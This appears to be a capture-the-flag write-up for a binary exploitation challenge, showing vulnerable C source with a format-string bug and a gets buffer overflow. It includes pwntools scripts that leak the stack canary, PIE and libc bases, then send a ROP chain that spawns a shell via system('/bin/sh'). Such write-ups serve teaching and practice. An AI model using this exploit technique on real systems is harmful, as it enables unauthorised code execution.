#rop
# Understanding the Challenge
Source is small
## Compile Options
`gcc vuln.c -o vuln`
No `-fno-stack-protector` and no `-no-pie` so we have to deal with canary and PIE
## Source
```c
#include <stdio.h>
// gcc vuln.c -o vuln
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void main() {
char buffer[0x10];
puts("Since the past few challenges were so long, here's a short one for once.");
puts("You do have to deal with more protections this time though, so pay attention!");
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
puts("I hope you got everything u needed cause ur out of time.");
puts("Good luck!");
gets(buffer);
}
```
# The Vuln
## Format Strings Bug
We are able to abuse the printf since we have control of that.
## Buffer Overflow
There is a gets we can exploit as well.
# The Exploit
We will need to leak the canary and base address with the fsb and then overwrite the `saved_rip` to our ropchain.
## The Leak
Using the following code, we can run print qwords off the stack and compare them to the current canary.
```python
from pwn import *
context.binary = elf = ELF("./vuln")
for x in range(30):
io = elf.process()
gdb.attach(io,"vmmap\nc")
print(x)
leak_payload = f"%{x}$p"
io.sendline(leak_payload)
io.interactive()
```
The picture shows the 9th qword of the stack is the canary:
![[Pasted image 20210721102627.png]]
This same method can be used to leak binary base address and libc base address.
The offsets are calculated by subtracting the leak to the binary bases from `vmmap`.
Because we know which libc version (its the one running on our machine), we dont need to leak more data and use `libc.rip`
```python
from pwn import *
context.binary = elf = ELF("./vuln")
io = elf.process()
#gdb.attach(io,"vmmap\nc")
leak_payload = "%9$p|%1$p|%15$p"
io.send(leak_payload)
io.readuntil("attention!\n")
canary = int(io.readuntil("|",drop=True),16)
libc_leak = int(io.readuntil("|",drop=True),16)-0x1eba03
pie_leak = int(io.readuntil("I",drop=True),16)-0x1230
print("Canary:",hex(canary))
print("Pie Leak:", hex(pie_leak))
print("Libc Leak:", hex(libc_leak))
io.interactive()
```
# Solve
```python
from pwn import *
context.binary = elf = ELF("./vuln")
libc = elf.libc
io = elf.process()
#gdb.attach(io)
leak_payload = "%9$p|%1$p|%15$p"
io.send(leak_payload)
io.readuntil("attention!\n")
canary = int(io.readuntil("|",drop=True),16)
libc_leak = int(io.readuntil("|",drop=True),16)-0x1eba03
pie_leak = int(io.readuntil("I",drop=True),16)-0x1230
print("Canary:",hex(canary))
print("Pie Leak:", hex(pie_leak))
print("Libc Leak:", hex(libc_leak))
libc.address = libc_leak
pop_rdi = pie_leak+0x1333
ret = pop_rdi+1
payload = b""
payload += b"A"*0x18
payload += p64(canary)
payload += b"C"*8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols['system'])
io.sendline(payload)
io.interactive()
```